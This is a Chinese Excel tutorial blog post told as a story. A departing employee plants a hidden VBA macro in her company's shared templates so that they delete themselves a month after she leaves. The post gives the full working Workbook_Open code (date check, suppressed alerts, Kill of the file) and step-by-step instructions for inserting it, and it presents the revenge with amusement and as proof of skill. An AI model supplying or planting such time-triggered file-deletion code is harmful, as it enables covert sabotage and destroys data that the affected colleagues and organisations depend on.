編按：

哈嘍，大家好！看到標(biāo)題相信大家都懵了，“什么鬼？怎么excel還會(huì)自殺了？”別著急，看看下面這篇文章，你就知道了！

職場(chǎng)中，熟操Excel技能的大神通常都能游刃有余地應(yīng)對(duì)工作問題，設(shè)計(jì)出各種各樣的實(shí)用模板，核對(duì)出歷史混亂數(shù)據(jù)的真相。但很多時(shí)候，出于保護(hù)模板和數(shù)據(jù)等目的，Excel大神也會(huì)希望這些Excel表格能在一定的條件下自我毀滅。故事里的嘉，就有這么一個(gè)需求。

——片頭曲——

在那遙遠(yuǎn)的地方，有個(gè)好姑娘，

人們走過了她的賬房，都要回頭留戀地張望。

她那牛逼的表單，好像很流氓，

只要三言兩語的VBA，

就能搞定所有的情況。

——故事開始——

嘉是辦公室里的Excel小仙女，為公司設(shè)置了很多實(shí)用的Excel模板，但卻一直不為領(lǐng)導(dǎo)所尊重，屢遭上級(jí)的刁難，部門其他同事在使用模板時(shí)的不適當(dāng)操作也時(shí)常被詬病為是嘉設(shè)計(jì)的模板有問題。日積月累的DISS終于讓嘉心態(tài)崩潰，這些模板明明是自己工作之余、職責(zé)之外的成果，只為同事們得以解放雙手、提高效率，怎就成了自己的罪狀？憤慨之下，嘉決定離職后的一個(gè)月就讓這些模板自動(dòng)毀滅。于是，她悄悄在這些模板中寫下了這樣一段VBA語句：

Private Sub Workbook_Open()

If Date >= "2020-1-31" Then

    Application.DisplayAlerts = False

    Application.ScreenUpdating = False

    MsgBox "本表自知大限將至，欲駕鶴西去。破琴絕弦無外乎如是，愿君安好！"

    With ThisWorkbook

        .Saved = True

        .ChangeFileAccess xlReadOnly

        Kill .FullName

        .Close

    End With

    Application.DisplayAlerts = True

End If

End Sub

在同事的唏噓和主管的自鳴得意中，嘉飄然而去。一切似乎并無不同，缺了嘉這顆螺絲釘，賬房這臺(tái)機(jī)器貌似也照轉(zhuǎn)不誤。誰料，一個(gè)月后，賬房?jī)?nèi)突然哀鴻遍野，“這個(gè)模板成精了嗎，怎么自殺了？”，一時(shí)間，所有嘉之前設(shè)計(jì)的模板都隨她飄然而去了！

瞬間，賬房亂成了一鍋粥，怎么昨天還用得好好的，今天就GG了？同事們急了，主管懵了，他一個(gè)電話打給了嘉。

主管：嘉嘉啊，我們平時(shí)用的這些模板今天突然都沒了，說什么大限將至？你知道怎么回事嗎？

嘉嘉：老領(lǐng)導(dǎo)，您都說了，這些表投機(jī)取巧沒什么用，這沒了就沒了唄，賬房不還照轉(zhuǎn)么？

主管：不是，他們都急哭了，說這些表能節(jié)約80%的工作量呢，以前用著還不覺得，突然一下子失去了，才發(fā)現(xiàn)它們的重要性。Excel你最在行了，要不你抽個(gè)時(shí)間過來看看，我請(qǐng)你吃......

嘉嘉：領(lǐng)導(dǎo)，您也失去我了，不是嗎？

嘟嘟嘟嘟。。。。。。

電話一頭，是傻眼慍怒的主管，電話另一頭，是微笑著踏步走進(jìn)新公司的嘉。此時(shí)，嘉的腦海里，正回想著當(dāng)初的操作方法：

1.點(diǎn)擊【開發(fā)工具】-【Visual Basic】按鈕或按Alt+F11，彈出VBA窗口；

2.雙擊ThisWorkBook，彈出代碼窗口；

3.將上方語句粘貼到代碼窗口，關(guān)閉VBA窗口；

4.將文件另存為“啟用宏的工作簿”，關(guān)閉文件即可。

——片尾曲——

得不到的永遠(yuǎn)在騷動(dòng)，

被偏愛的都有恃無恐，

沒有這宏，

容易加班的夢(mèng)，

寫好的模板卻人去表空，

重新弄。

THE END

有人說，職場(chǎng)一笑泯恩仇，何必事事要出頭；還有人說，工作不敢爭(zhēng)口氣，說啥都被當(dāng)放屁！對(duì)故事中嘉的作法，我們不置可否。但有一點(diǎn)必須肯定，嘉從容而主管崩潰，造成這種差別的原因在于是否有一手過硬的Excel技能。從容高效地處理工作問題就是我們持續(xù)學(xué)習(xí)Excel的動(dòng)力所在，不是嗎？

本文配套的練習(xí)課件請(qǐng)加入QQ群：1003077796 下載。

做Excel高手，快速提升工作效率，部落窩教育《一周Excel直通車》視頻和《Excel極速貫通班》直播課全心為你！

掃下方二維碼關(guān)注公眾號(hào)，可隨時(shí)隨地學(xué)習(xí)Excel：

相關(guān)推薦：

Excel中保護(hù)工作表的方法《職場(chǎng)人士最常用的excel密碼保護(hù)和破解方式，趕緊收藏！（上篇）》

Excel中破解工作表密碼的方法《職場(chǎng)人士最常用的excel密碼保護(hù)和破解方式，趕緊收藏?。ㄏ缕?/span>》

用VBA制作疫情地圖《用excel制作全國(guó)動(dòng)態(tài)疫情地圖（VBA篇）》

用VBA設(shè)計(jì)面試提醒表《HR的福音！一張能自動(dòng)提醒面試的excel表格，面試信息再多也不怕看漏！》